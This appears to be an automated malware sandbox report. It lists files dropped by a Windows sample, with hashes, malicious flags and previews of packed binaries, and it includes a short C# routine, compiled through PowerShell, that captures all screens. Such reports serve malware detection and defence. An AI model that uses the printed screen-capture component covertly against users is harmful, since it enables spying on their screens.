Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......._.v....@...@...@...@...@I..A...@I..A...@I..A...@I..A...@P..A...@...@...@..A...@..A...@..@...@..A...@Rich...@........PE..d.....,d.........." .....`...0.......Z....................................................`..........................................{..."...x.......p.......0..L....................................................f..8...........................................UPX0....................................UPX1.....`.......X..................@....rsrc....0...p.......\..............@......................................................................................................................................................................................................................................................................................................................................................................4.02.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI51602\unicodedata.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	296728
Entropy (8bit):	7.985011478309557
Encrypted:	false
SSDEEP:	6144:UcNGPr86AeT4HbUO2GkYmuUuQG1a7kj04fuNPYn/VoR4:UcNGz86iHbUORk+D1a7kLWNwna4
MD5:	C697DC94BDF07A57D84C7C3AA96A2991
SHA1:	641106ACD3F51E6DB1D51AA2E4D4E79CF71DC1AB
SHA-256:	58605600FDAAFBC0052A4C1EB92F68005307554CF5AD04C226C320A1C14F789E
SHA-512:	4F735678B7E38C8E8B693593696F9483CF21F00AEA2A6027E908515AA047EC873578C5068354973786E9CFD0D25B7AB1DD6CBB1B97654F202CBB17E233247A61
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........$z.eJ).eJ).eJ)...).eJ)..K(.eJ)..O(.eJ)..N(.eJ)..I(.eJ)\|.K(.eJ)..K(.eJ).eK).eJ)\|.G(.eJ)\|.J(.eJ)\|..).eJ)\|.H(.eJ)Rich.eJ)........................PE..d.....,d.........." .....P...........V... ................................................`..........................................{..X....y.......p..........H............{.......................................b..8...........................................UPX0....................................UPX1.....P... ...F..................@....rsrc........p.......J..............@..............................................................................................................................................................................................................................................................................................................................................4.02.UPX!.$..

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0vk12uhe.bxg.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2nix0s4t.vzd.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2yk1e3hr.dft.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3g0p3oyg.bkz.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4fyecrah.afk.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_a4qxywez.vub.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_apqyz0ln.ita.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_bwuxf0k2.e1n.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_chqokezk.onk.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_d1gvxicz.jw5.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_glqtbiud.eqe.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_hc3qbd0d.mi5.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_hr2qcpcy.nsx.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_le15bqn3.z3m.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_lm0dgduh.rfb.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_s5mq1kx4.ui5.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_swfqul5m.34q.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_wfkidy2x.l2y.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zagxjyxw.4tk.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zcfefve4.uzk.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3037184
Entropy (8bit):	6.54792183955597
Encrypted:	false
SSDEEP:	49152:30HhKY2JwV6AskokjOnIY/cy6oMjYnJpY2Q2AM6J6OK:3mAJwV6AsFkiIycy6odnJ1Q2AM6J6O
MD5:	CD7686B11754D77B8722880A1A3A9A43
SHA1:	EA1C00D2985812539452A31D8F75506573DAD692
SHA-256:	A3D6D7EEA1A9270E20BE65394C942207078DAAC5952A12A9404DD4C557FD2944
SHA-512:	64D095A52C5A9987CBDBE00C95CD96DB67D5BF9FAA9A53C1132EAB27BE7D0D8B7ADF209195DB8B925C6453ADA759165ECFC8C1A5AC4F3EA7D3427FEA2B643CAB
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................2...........@..........................02.....d.....@.................................W...k...........................,.1...............................1..................................................... . ............................@....rsrc...............................@....idata ............................@...uyplpdnx.@+......>+.................@...lxepjdzt......1......2..............@....taggant.0....2.."...6..............@...........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Reputation:	unknown
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\AppData\Local\Temp\l2sopuet\CSC2774EC596431493C9BAB8956CFD3669.TMP

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
File Type:	MSVC .res
Category:	dropped
Size (bytes):	652
Entropy (8bit):	3.0822564844713884
Encrypted:	false
SSDEEP:	12:DXt4Ii3ntuAHia5YA49aUGiqMZAiN5gryalpak7YnqqplePN5Dlq5J:+RI+ycuZhNQrakSpEPNnqX
MD5:	C63D970ED48E8A225320F3DC36154FC4
SHA1:	81D0B4B2E788EFD03817116D9460CFB6D4C853F9
SHA-256:	4EC26AEE81A238E92C0EE64E5BB072CA6B9AAA687A09AE3086A391B12B2DF891
SHA-512:	358963F7A6EC7CFA864154778F0DA9A15C07BB25EEA8ACE17512B80A3943ABF13C27611EAA49C5117860EA113D13EE7ACE6CAE8196DD6E41D370D2156A190070
Malicious:	false
Reputation:	unknown
Preview:	.... ...........................L...<...............0...........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...l.2.s.o.p.u.e.t...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e...l.2.s.o.p.u.e.t...d.l.l.....4.....P.r.o.d.u.c.t.V.e.r.s.i.o.n...0...0...0...0...8.....A.s.s.e.m.b.l.y. .V.e.r.s.i.o.n...0...0...0...0...

C:\Users\user\AppData\Local\Temp\l2sopuet\l2sopuet.0.cs

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	1004
Entropy (8bit):	4.154581034278981
Encrypted:	false
SSDEEP:	24:Jo4KMz04F03wykl4qk6oAuBGOUBrRmLW+7UCPa:Jo4hz0BAl4xBQ0XQCC
MD5:	C76055A0388B713A1EABE16130684DC3
SHA1:	EE11E84CF41D8A43340F7102E17660072906C402
SHA-256:	8A3CD008E86A3D835F55F8415F5FD264C6DACDF0B7286E6854EA3F5A363390E7
SHA-512:	22D2804491D90B03BB4B640CB5E2A37D57766C6D82CAF993770DCF2CF97D0F07493C870761F3ECEA15531BD434B780E13AE065A1606681B32A77DBF6906FB4E2
Malicious:	false
Reputation:	unknown
Preview:	.using System;..using System.Collections.Generic;..using System.Drawing;..using System.Windows.Forms;....public class Screenshot..{.. public static List<Bitmap> CaptureScreens().. {.. var results = new List<Bitmap>();.. var allScreens = Screen.AllScreens;.... foreach (Screen screen in allScreens).. {.. try.. {.. Rectangle bounds = screen.Bounds;.. using (Bitmap bitmap = new Bitmap(bounds.Width, bounds.Height)).. {.. using (Graphics graphics = Graphics.FromImage(bitmap)).. {.. graphics.CopyFromScreen(new Point(bounds.Left, bounds.Top), Point.Empty, bounds.Size);.. }.... results.Add((Bitmap)bitmap.Clone());.. }.. }.. catch (Exception).. {.. // Handle any exceptions here.. }.. }.... return results;..

C:\Users\user\AppData\Local\Temp\l2sopuet\l2sopuet.cmdline

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (606), with no line terminators
Category:	dropped
Size (bytes):	609
Entropy (8bit):	5.2929243924680005
Encrypted:	false
SSDEEP:	6:pAu+H2LvkuqJDdqxLTKbDdqB/6KOkuqy776SE71xBkuqTM3RDwA+iM3RLB5923fD:p37Lvkmb6KOkqe1xBkrk+ikqB+WZE25
MD5:	BDF8A32760C919FB339DFFDDDC8A68E8
SHA1:	24750C320AC4D47A92B6B93C03543E60ACBA6F0B
SHA-256:	E0B09426325110F90343435C71E9EB1C49DE228EADBE52FA8A340C5EF589B4CA
SHA-512:	DAE3A98EACD64BED0885D180E55B549501C4B036CF5F45792BD2E0662C599407A230AF75848324D495283A7FAEFEC15C86D1F4A2DEA023DF7F2FEBA55E37252A
Malicious:	true
Reputation:	unknown
Preview:	./t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll" /out:"C:\Users\user\AppData\Local\Temp\l2sopuet\l2sopuet.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\l2sopuet\l2sopuet.0.cs"

C:\Users\user\AppData\Local\Temp\l2sopuet\l2sopuet.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	4096
Entropy (8bit):	3.1492159416705823
Encrypted:	false
SSDEEP:	48:6o7oEAtf0KhzBU/cf6mtJ3N05pW1ulSa3mq:INz0zmfO5EK
MD5:	85FBDED3E99C6FADA984AC77141F7F98
SHA1:	B08DA3FD3FCAC051EEBFFCF708246FEE96352203
SHA-256:	A32C6F14520630FE83CEFEDCEFA0E8338FADA1CCABAAE434C90685C7E93C1876
SHA-512:	0BC016EEB150FF376AD46A02A60017EB46E57D442DC642793E0B0CE977DD9A94D426C9EB19FE7878C2152B96968CA15EC973FF4C77A7227E070ED944C69A46A3
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....dg...........!.................&... ...@....... ....................................@..................................%..K....@.......................`....................................................... ............... ..H............text...$.... ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................&......H.......<!...............................................................0..........s.....(...........8...........o.......(......(....s........(..........(......(....s....~......(....o........,...o........o....t....o........,...o.......&.....X.......i?k.......(....B.(j........9.Q...........{.........(....BSJB............v4.0.30319......l.......#~..........#Strings............#US.........#GUID...........#Blob...........G.........%3............................................

C:\Users\user\AppData\Local\Temp\l2sopuet\l2sopuet.out

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (711), with CRLF, CR line terminators
Category:	modified
Size (bytes):	1152
Entropy (8bit):	5.470904781379983
Encrypted:	false
SSDEEP:	24:KLNohId3ka6KOkqeFkqNE28Kax5DqBVKVrdFAMBJTH:2N8kka6NkqeFkqNE28K2DcVKdBJj
MD5:	140EC8ACCB996DAA0BCA5443CD9AA204
SHA1:	39C4487EA45576A3C8DCC32601E702E4E1EC74C8
SHA-256:	FC3BDB65DDCC2F963CE9583114B98AB739C6F9ED45D32B7D1187E84B047ED254
SHA-512:	C7BE9F4953B863F1BC95294584533DECB5EF8DC48640F4284CFB34F7DFFB96682552B9130B1ABE119DB037CEC3BD8E4A9D7A3FC1A1F1E8C410411C6F2AC7E342
Malicious:	false
Reputation:	unknown
